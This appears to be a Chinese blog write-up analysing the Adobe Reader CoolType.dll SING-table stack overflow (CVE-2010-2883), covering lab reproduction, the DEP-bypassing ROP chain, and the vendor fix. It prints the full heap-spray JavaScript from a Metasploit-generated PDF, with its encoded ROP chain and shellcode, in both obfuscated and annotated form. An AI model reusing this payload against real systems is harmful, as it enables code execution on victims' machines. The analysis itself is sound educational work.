这个漏洞分析花了大概3天,初次分析流程如此长的漏洞,后面还有个随书样本的利用shellcode分析,明天再发出来
学习与实践嘛,从模仿到独立,一步一步慢慢来,这次分析过程中有一个很明显的感觉就是“我看不懂,但我大受震撼”,到分析到后面的时候再回来总览整个ROP过程,就有一种柳暗花明又一村的感觉,“啊,原来是这么回事啊”,整个过程虽然漫长,但却也充满发现,这,便是乐趣所在。
漏洞介绍
漏洞描述
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的 uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码。
实验环境
- 虚拟机:Windows XP SP3
- 虚拟机:Kali Linux
- 漏洞程序:Adobe reader 9.3.4
- IDA 7.5
- x86dbg
- pdfstreamdumper
漏洞复现
根据之前踩的一次坑得知,漏洞复现对于漏洞分析的开始很有帮助,因为能触发漏洞,就说明漏洞一定存在,就一定能分析到漏洞上面去(之前拿了一个被修复了漏洞的程序使劲分析分析不出来漏洞。。。。)
本次分析中的样本来自《漏洞战争》随书文件提供的“名企面试自主手册.pdf”,这里先自己通过msf生成漏洞利用的pdf文件来先进行漏洞分析,然后再对书上样本进行分析
在kali的msf中搜索利用模块:
选择下面那个,填充参数,run:
接下来把生成的文件复制出来拖入Windows XP SP3的虚拟机里
在虚拟机里安装Adobe Reader 9.3.4漏洞程序
然后双击点开生成的利用pdf:
Adobe Reader打开窗口立马消失,弹出计算器
漏洞复现成功!
漏洞分析
PDF格式和TTF SING表
PDF:Portable Document Format(可移植的文档格式)
使用010 Editor的pdf模板可以查看pdf格式的二进制数据:
PDF文件结构由4部分组成:
- Header:文件头,用来注明pdf文件版本号,值为
%PDF-版本号
- Body:主要由组成文件的对象组成,例如图片,文字等
- Cross-regerence table:交叉引用表,用于存放所有对象的引用、位置偏移、字节长度,用于随机访问pdf中的任意对象
- Trailer:文件尾,给出交叉引用表的位置(指针)和一些关键对象的信息(指针),以
%%EOF
标记文件结尾。PDF阅读器都是从这里开始解析的
PDF的Body是树状层次结构,每个节点都是一个对象,由根节点Document Catalog开始,其叶子节点包括文档内容,大纲等属性:
可用分析pdf的工具pdfstreamdumper查看pdf节点信息:
载入刚刚msf生成的pdf,查看第一个节点:
/Type指定对象类型是:Catalog(根对象)
/Pages指向第一个对象:2(对象序号)0(生成号)R(表示引用对象),该对象是一个Pages对象
/OpenAction指向了11 0 R对象,该对象指定了打开文档时进行的操作
接下来看第二个节点:
/Resources指向一个资源对象,4 0 R
/Kids是它的叶子节点5 0 R
/Types指定该对象是Pages对象
接下来看第二个结点指向的资源对象4 0 R,据说这是触发漏洞的对象:
/Font指向了字体字典对象6 0 R
接下来查看6号对象:
/F1表示使用了Type 1字体技术定义字形形状的字体,对象是7 0 R
接下来查看7号对象:
/Type 表示类型是字体对象
/FontDescripter指向字体描述符 9 0 R,用于描述字体属性
接下来查看9号对象:
/FontFile2指向对象10 0 R,10号对象是流对象(侧边标注是黄色的)
查看10号对象:
00 01 00 00是TTF字体文件的开始标志,右键把该文件另存为,用010 Editor的TTF模板进行分析
TTF:The TrueType Font File,是定义字体的文件(详细内容自行搜文档),TrueType字体文件以表的形式包含构成字体的数据:
这里的Sing表就是漏洞触发的地方,Sing表的结构(见参考资料[4]):
/*
https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
* SING table for glyphlets
*/
#ifndef FORMAT_SING_H
#define FORMAT_SING_H
#define SING_VERSION VERSION(1, 1)
#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16
typedef struct
{
Card16 tableVersionMajor;
Card16 tableVersionMinor;
Card16 glyphletVersion;
Card16 permissions;
Card16 mainGID;
Card16 unitsPerEm;
Int16 vertAdvance;
Int16 vertOrigin;
Card8 uniqueName[SING_UNIQUENAMELEN]; // 28 bytes length
Card8 METAMD5[SING_MD5LEN];
Card8 nameLength;
Card8 *baseGlyphName; /* name array */
} SINGTbl;
#endif /* FORMAT_SING_H */
这里的这个名称uniqueName长度28字节,在表中偏移是16字节
在010Editor中:
Sing表的文件偏移是284,长度是7647
查看Sing表中的UniqueName:
这里没有字符串的\x00
截断,因此读取该字符串如果没有长度限制可能会被当成超长字符串!
静态分析
已知漏洞位于CoolType.dll库,复制该DLL出来,IDA分析,已知漏洞发生在SING表处,搜索字符串SING:(不知道为啥,我搜不到,我是根据参考资料[2]中的地址跳转过去的,确实有这么个字符串)
因为刚刚发现漏洞利用的pdf的ttf字体的sing表中的UniqueName字符串最后没有00结尾,那么这里要溢出的话,必定是字符串操作相关函数,而且是不管字符串长度,以00结尾来判断字符串结束的
通过交叉引用发现0803DD74处的SING后面调用了strcat函数:
strcat两个参数,一个是目的地址,一个是源地址,不对字符串长度进行判断,刚好满足条件
这里的两个参数,目的地址参数来自ebp+108h+Destination,是局部变量中的一个地址
源地址参数来自ebp+108h+var_12C,在入栈前对该地址加了0x10 = 16字节
SING表的UniqueName字段刚好偏移也是16字节,可以认为这个地址就是SING表的地址
接下来把SING表的结构下载下来Ctrl+F9
导入一下:
https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
使用F5来看,对结构看的更清晰:
这里的判断条件是,如果sing表存在,且版本信息满足要求,就会调用strcat,这里的目的地址数组长度是260字节,只要程序能够解析这个不正常的SING表,就可以触发溢出,因为目的地址在局部变量里,所以位置在栈顶下面,所以溢出覆盖返回地址会发生在调用strcat后,而不是在strcat中
动态分析
为了更方便观察漏洞缓冲区覆盖情况,这里重新生成一个样本(学自参考资料[3])
在exp脚本/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
大概102行的位置将下面的rand_text这一行给注释掉,把上面注释掉的这个生成大量A的这一行去掉注释
然后接下来使用msf生成样本,流程根前面漏洞复现一样,就不再重复了
生成完拷贝到Windows XP SP3复现环境中
用x86dbg附加打开的Adobe Reader,运行起来
根据静态分析得知漏洞触发函数的地址是:0x0803DDAB,这里直接跳转过去下断点:
接下来用Adobe Reader打开刚刚生成的利用样本,走到触发断点这里:
这里会先抛出一大堆溢出,然后不停的点运行,就会经过一大堆异常处理之后走到我们下的断点(PS:关掉WindowsXP的错误报告也许会舒服一些)
这里可以看到参数是我们设置的一大堆A,这里目的地址是0x0012E4D8,当前栈顶地址是0x0012E468
目的地址在栈顶的下面,所以溢出不会发生在strcat里,步过strcat:
这里可以看到,ecx是目的地址,这个地址里已经填充满了shellcode
接下来往后执行发现这里有一个call eax:
恰好此时的eax就是栈中地址0x12E6D0,这个地址是我们shellcode覆盖的范围内,shellcode在这里构造了一个跳转地址(接下来就是分析ROP构造的环节了):
跳转进入之后:
这里找了一串指令,首先调整了EBP,原本ebp = 0x0012DD48,修改后0x0012E4DC,ebp向下进行了调整,调整到了esp下方
接下来执行leave修改了esp,原本的esp = 0x0012DD24,调整后esp = ebp = 0x0012E4DC,ebp = 0x41414141,esp=0x0012E4E0
这串指令把esp调整到shellcode内部的位置,然后构造下一个返回地址:
跳转后:
pop之后,esp获得了下一个构造的值:0x0c0c0c0c:
然后跳转到第一个地址:0x4A8063A5
接下来依然通过栈进行ret:0x4A802196(ret会使esp+4)
这里eax的值是shellcode内部的一部分,然后这里ecx的值是某个可写的地址
这里把eax保存了一下,然后ret(应该也只是为了往esp下面走),跳转到:0x4A801F90
接下来pop给eax赋值,然后接着走:0x4A80B692
此时eax是CreateFileA函数的地址,刚刚跳转的地方是jmp eax
这里eax改变了,但是ecx没有改变,获取栈中的地址依然可以通过ecx获得
跳转之后就是CreateFileA的逻辑:
CreateFileA的函数声明:
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
这里的参数:
$+4 0C0C0C24 4A801064 icucnv36.4A801064 ret指令
$+8 0C0C0C28 4A8522C8 lpFileName = "iso88591"
$+C 0C0C0C2C 10000000 dwDesiredAccess = GENERIC_ALL
$+10 0C0C0C30 00000000 dwShareMode = 0
$+14 0C0C0C34 00000000 lpSecurityAttributes = NULL
$+18 0C0C0C38 00000002 dwCreationDisposition = CREATE_ALWAYS
$+1C 0C0C0C3C 00000102 dwFlagsAndAttributes = HIDDEN|TEMPORARY
$+20 0C0C0C40 00000000 hTemplateFile = NULL
这里实际上是创建了个临时文件:iso88591
在文件选项设置显示所有文件:
创建文件之后:
跳转到0x4A801064:
接下来又是一系列跳转:
跳转:
这里对edi和eax进行了交换,因为edi指向了shellcode的内部,接着跳转:
接着跳转:
这里把edi保存到栈上面了,以便后续函数调用使用:
接下来ret,到了pop eax:
这里pop给eax的值是CreateFileMapping函数,这个函数用来为指定文件创建文件映射对象,然后接着一个跳转过去:
去jmp eax去跳转到函数上:
参数在栈中的分布:
$ ==> 0C0C0C64 41414141
$+4 0C0C0C68 4A801064
$+8 0C0C0C6C 00000338 hFile = 0x00000338
$+C 0C0C0C70 00000000 pSecurity = NULL
$+10 0C0C0C74 00000040 Protection = PAGE_EXECUTE_READWRITE
$+14 0C0C0C78 00000000 MaximumSizeHigh = 0
$+18 0C0C0C7C 00010000 MaximumSizeLow = 10000
$+1C 0C0C0C80 00000000 MapName = NULL
这里把使用之前创建的文件句柄来创建内存映射,内存属性是可读可写可执行
创建之后,执行到返回:
再次返回跳转:
接着跳转:
这里把之前交换给edi的值再交换给eax(文件句柄)
然后接着返回:
esp+4,接着返回:(这样的操作应该是在调整esp的位置)
接下来接着往栈里保存值edi,这里跟之前很相似:
然后返回:
这里esp的地址是MapViewOfFIle函数,这里的作用是将一个文件映射对象映射到当前应用程序的地址空间,其中 hMapObject 参数为上面调用返回的 hMapObject 对象,调用函数后会返回该文件对象在内存中对应的地址
然后通过jmp eax进入函数:
函数的参数:
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject, // 映射句柄
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh, // 地址高位
[in] DWORD dwFileOffsetLow, // 地址低位
[in] SIZE_T dwNumberOfBytesToMap
);
这里函数使用的是前面映射的句柄,步进到函数返回,eax的返回值是0x26E0000,内存布局查看:
返回出去之后又是一个ret:
可以看到,映射到内存这里是一片000000
接着ret:
这里弹出来一个栈顶,然后返回:
然后这里把eax保存到ecx所在内存里,ecx是刚刚从栈里拿出来的地址
接着返回:
又取出1个ecx然后ret:
这里把edi里保存的映像句柄又拿出来给eax了,接下来要进行调用函数
这里pop给ebx的是为一个后面要用的参数准备的
然后接着ret:
这里是刚刚见过很多遍的跳转逻辑,这里从ebx索引esp的一个位置,用edi赋值,把映射内存首地址放到栈里,作为之后调用的函数的参数
接下来移动到返回:
弹出一个值,然后ret:
eax里保存的是之前保存映射地址的地方,这里把映射地址取出来到eax,然后ret:
跳过两个栈顶,ret:
这两个值是一样的,所以这里交换是没有意义的,但是如果刚刚eax那个地址里保存的值发生了变化,则这样可以把前面保留到edi的地址交换给eax
这里给ebx弹了个0x20,接下来接着跳转
又是熟悉的一幕,接着跳转:
这里ecx的值是ret的地址
接着跳转:
这里入栈几个参数,然后call ecx,ret,直接跳过这里的ecx走到下面一行,给esp+10保护刚刚入栈的参数,然后返回:
给eax弹了个0x34,返回:
修改eax为栈中的另一个地址,然后返回:
接下来把ecx也弹出了,接着返回:
这里交换了eax和edi,接着返回:
接着返回:
这里接着往栈里填充内容,返回:
这里给eax了memcpy的地址,然后返回,jmp eax:
进入memcpy,源地址保存在esi,目的地址保存在edi,复制次数保存在ecx,源地址在栈里,这个栈是被控制的,源地址后面有利用代码
复制完成后:
栈里后面的东西也就都复制过去了,这里返回地址就是我们映射的内存地址,直接跳入shellcode进行执行:
弹出计算器,然后进程崩掉
ROP链总结
从ROP链开始,到运行shellcode,流程如下:
- 调整栈顶到可控区域
- 切换栈顶到0x0c0c0c0c,这个位置被构造好了栈数据和利用代码
- 创造一片可执行的内存区域绕过DEP:
- 调用CreateFileA函数创建临时文件
- 调用CreateFileMappingA函数创建内存映射对象
- 调用MapViewOfFile函数,映射文件到内存,返回映射地址
- 调用memcpy函数,复制利用代码到该内存
- 跳转执行
搜索ROP用到的指令可以通过msfpescan进行,也可以通过immdbg的mona插件进行搜索
JavaScript HeapSpary
到这里有一个疑惑,就是0x0c0c0c0c这个内存地址中的数据是如何添加进去的呢?这里用到了堆喷射技术
见参考资料[2]
在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量堆内存,并用包含着0x90和shellcode的“内存片”覆盖这些内存。
JavaScript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200 X 1024X 1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcode 的内存片覆盖。
只要内存片中的0x90能够命中0x0C0C0C0C的位置,shellcode 就能最终得到执行。
用PDFStreamDunper去提取js代码:
根节点的这个/OpenAction就是指定了在打开文档时执行什么操作
查看节点11:
发现JS代码,位于节点12里,把节点12的内容复制出来:
var uDDMNOYkWU = unescape;
var yNfOyVpLRleTWyEXqEbClSJIWHxUoEmKzbDVrTxEpJgoFJMbbDOcteOUZcpuVkaUBHnR = uDDMNOYkWU( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uabbd%u45fa%udb0e%ud9d0%u2474%u58f4%uc929%u31b1%uc083%u3104%u0f68%u6803%u18a4%uf2b0%u5e52%u0b3b%u3fa2%ueeb5%u7f93%u7ba1%u4f83%u2ea1%u3b2f%udae7%u49a4%uec20%ue70d%uc316%u548e%u426a%ua70c%ua4bf%u682d%ua5b2%u956a%uf73f%ud123%ue892%uaf40%u822e%u211a%u7737%u40ea%u2616%u1b61%uc8b8%u17a6%ud2f1%u12ab%u684b%ue81f%ub84a%u116e%u85e0%ue05f%uc2f8%u1b67%u3a8f%ua694%uf888%u7ce7%u1b1c%uf64f%uc786%udb6e%u8351%u907c%ucb16%u2760%u67fa%uac9c%ua7fd%uf615%u63d9%uac7e%u3540%u03da%u257c%ufc85%u2dd8%ue82b%u6c50%uef21%u0ae7%uef07%u14f7%u9837%u9fc6%udfd8%u75d6%u109d%ud49d%ub8b7%u8d78%ua48a%u7b7a%ud0c8%u8ef8%u26b0%ufae0%u63b5%u17a6%ufcc7%u1843%ufc74%u7b41%u6e1b%u5209%u16be%uaaa8' );
var QBTjuGryWsLcUAFVNk = uDDMNOYkWU( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (QBTjuGryWsLcUAFVNk.length + 20 + 8 < 65536) QBTjuGryWsLcUAFVNk+=QBTjuGryWsLcUAFVNk;
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW = QBTjuGryWsLcUAFVNk.substring(0, (0x0c0c-0x24)/2);
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW += yNfOyVpLRleTWyEXqEbClSJIWHxUoEmKzbDVrTxEpJgoFJMbbDOcteOUZcpuVkaUBHnR;
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW += QBTjuGryWsLcUAFVNk;
vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf = sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW.substring(0, 65536/2);
while(vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf.length < 0x80000) vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf += vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf;
FjpCshAIDstxYBUGb = vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf.substring(0, 0x80000 - (0x1020-0x08) / 2);
var YQXLgZlpdVoxYkePABbnrvXDSToaKbfcsuhhbDRWGyypO = new Array();
for (vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP=0;vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP<0x1f0;vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP++) YQXLgZlpdVoxYkePABbnrvXDSToaKbfcsuhhbDRWGyypO[vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP]=FjpCshAIDstxYBUGb+"s";
这里有混淆:变量名是超长随机字符
重新给变量命名一下:
var var_unescape = unescape;
// unescape用来解码escape编码的结果,这个编码是把特殊字符转义
var shellcode = var_unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uabbd%u45fa%udb0e%ud9d0%u2474%u58f4%uc929%u31b1%uc083%u3104%u0f68%u6803%u18a4%uf2b0%u5e52%u0b3b%u3fa2%ueeb5%u7f93%u7ba1%u4f83%u2ea1%u3b2f%udae7%u49a4%uec20%ue70d%uc316%u548e%u426a%ua70c%ua4bf%u682d%ua5b2%u956a%uf73f%ud123%ue892%uaf40%u822e%u211a%u7737%u40ea%u2616%u1b61%uc8b8%u17a6%ud2f1%u12ab%u684b%ue81f%ub84a%u116e%u85e0%ue05f%uc2f8%u1b67%u3a8f%ua694%uf888%u7ce7%u1b1c%uf64f%uc786%udb6e%u8351%u907c%ucb16%u2760%u67fa%uac9c%ua7fd%uf615%u63d9%uac7e%u3540%u03da%u257c%ufc85%u2dd8%ue82b%u6c50%uef21%u0ae7%uef07%u14f7%u9837%u9fc6%udfd8%u75d6%u109d%ud49d%ub8b7%u8d78%ua48a%u7b7a%ud0c8%u8ef8%u26b0%ufae0%u63b5%u17a6%ufcc7%u1843%ufc74%u7b41%u6e1b%u5209%u16be%uaaa8' );
// unescape("%u0c0c%u0c0c"); 0c 0c对应的指令是 or al, C,无用指令,可以大量使用不影响程序
var var_C = var_unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
// 循环,65536 = 64KB,这里的20+8应该是预留出来做什么用的
// 循环是用来覆盖内存中的数据
// var_C长度应该是(65536-28)个字符,127KB
while (var_C.length + 20 + 8 < 65536) var_C+=var_C;
// 精准堆喷,使shellcode开始的地方一定在0c0c结尾地址0x....0c0c处
// var_D长度:3048字节 + 1656*2字节(shellcode) + 127KB = 67336*2 = 20E10字节
var_D = var_C.substring(0, (0x0c0c-0x24)/2);
var_D += shellcode; // 拼接shellcode
var_D += var_C; // 拼接滑块代码
// 一个Unicode字符是2字节,这里取0x10000/2 = 0x8000字符长度
var_E = var_D.substring(0, 65536/2);
// 最终一个shellcode实际大小为 1MB,0x80000 * 2 = 0x100000 = 1MB
while(var_E.length < 0x80000) var_E += var_E;
// 从后面截短 0x1020 - 0x08 = 4120 字节,目的应该是让实际大小小于1MB,因为这里分配的一个堆块是1MB大小,var_E 应该小于堆块大小,这样才能确保分配1M大小的堆块
var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4
// 开辟内存空间
var var_F = new Array();
// 0x1f0 = 496
// var_H有将近1M大小,这个数组每个成员都是var_H + "s",这里填充496次
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";
这里使用堆喷射,利用数组申请了超大内存,填充了shellcode和滑板指令
每个数组成员都是接近1M(0x100000)大小,运行漏洞程序拖入msfA.pdf查看内存布局:
从加载该dll映像往后:0x8260000开始,申请了将近500个1M大的堆空间,这里面有将近500个Shellcode
这里就从刚刚动态分析使用的0x0c0c0c0c开始看:
0x0c0c0c0c就是这里数组里填充的Shellcode,堆喷射就是只要控制好数组的大小,和shellcode的位置,来精确调整让shellcode出现在0x0c0c0c0c
0x0c0c0c0c开始往后就是ROP链和利用shellcode了
漏洞修复
该软件9.4.0版本修复了该漏洞
本部分反汇编来自参考资料[3]
.text:0803DD90 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD94 jnz loc_803DEF6
.text:0803DD9A push offset aName ; "name"
.text:0803DD9F push edi ; int
.text:0803DDA0 lea ecx, [ebp+108h+var_124]
.text:0803DDA3 xor bl, bl
.text:0803DDA5 call sub_80217D7
.text:0803DDAA cmp [ebp+108h+var_124], 0
.text:0803DDAE jnz short loc_803DE1A
.text:0803DDB0 push offset aSing ; "SING"
.text:0803DDB5 push edi ; int
.text:0803DDB6 lea ecx, [ebp+108h+var_12C]
.text:0803DDB9 call sub_8021B06
.text:0803DDBE mov ecx, [ebp+108h+var_12C]
.text:0803DDC1 test ecx, ecx
.text:0803DDC1 ; } // starts at 803DD90
.text:0803DDC3 ; try {
.text:0803DDC3 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DDC7 jz short loc_803DE03
.text:0803DDC9 mov eax, [ecx]
.text:0803DDCB and eax, 0FFFFh
.text:0803DDD0 jz short loc_803DDD9
.text:0803DDD2 cmp eax, 100h
.text:0803DDD7 jnz short loc_803DE01
.text:0803DDD9
.text:0803DDD9 loc_803DDD9: ; CODE XREF: sub_803DD33+9D↑j
.text:0803DDD9 push 104h ; int
.text:0803DDDE add ecx, 10h
.text:0803DDE1 push ecx ; char *
.text:0803DDE2 lea eax, [ebp+108h+var_108]
.text:0803DDE5 push eax ; char *
.text:0803DDE6 mov [ebp+108h+var_108], 0
.text:0803DDEA call sub_813391E
这里很显然没有调用strcat进行获取UniqueName而是调用函数sub_813391E:
.text:0813391E push esi
.text:0813391F mov esi, [esp+4+arg_0]
.text:08133923 push esi ; char *
.text:08133924 call strlen
.text:08133929 pop ecx
.text:0813392A mov ecx, [esp+4+arg_8]
.text:0813392E cmp ecx, eax
.text:08133930 ja short loc_8133936
.text:08133932 mov eax, esi
.text:08133934 pop esi
.text:08133935 retn
.text:08133936 loc_8133936: ; CODE XREF: sub_813391E+12↑j
.text:08133936 sub ecx, eax
.text:08133938 dec ecx
.text:08133939 push ecx ; size_t
.text:0813393A push [esp+8+arg_4] ; char *
.text:0813393E add eax, esi
.text:08133940 push eax ; char *
.text:08133941 call ds:strncat
.text:08133947 add esp, 0Ch
.text:0813394A pop esi
.text:0813394B retn
这里使用了strlen获取字段长度,长度超出限制就使用strncat进行获取字段内容,该函数限制了可以拷贝的字节数从而修复了该漏洞
总结
第一次分析ROP如此长的漏洞,我有一个很直观的感受就是”我看不懂,但我大受震撼“,分析过程那是相当漫长,当跟着网上师傅们的文章走过一遍之后,对整体利用流程有了一个较为清晰的认识,更加大受震撼了hhhh,我现在还处于一个分析经验不足的阶段,相信等我分析上一定数量的漏洞再回过头来重新回顾这个漏洞,一定会很有收获。
对本漏洞原理的分析暂时就到这里,接下来还有一个相关的事情没做:
- 分析msf样本的shellcode
- 分析随书文件恶意样本的shellcode
过两天分析完也跟上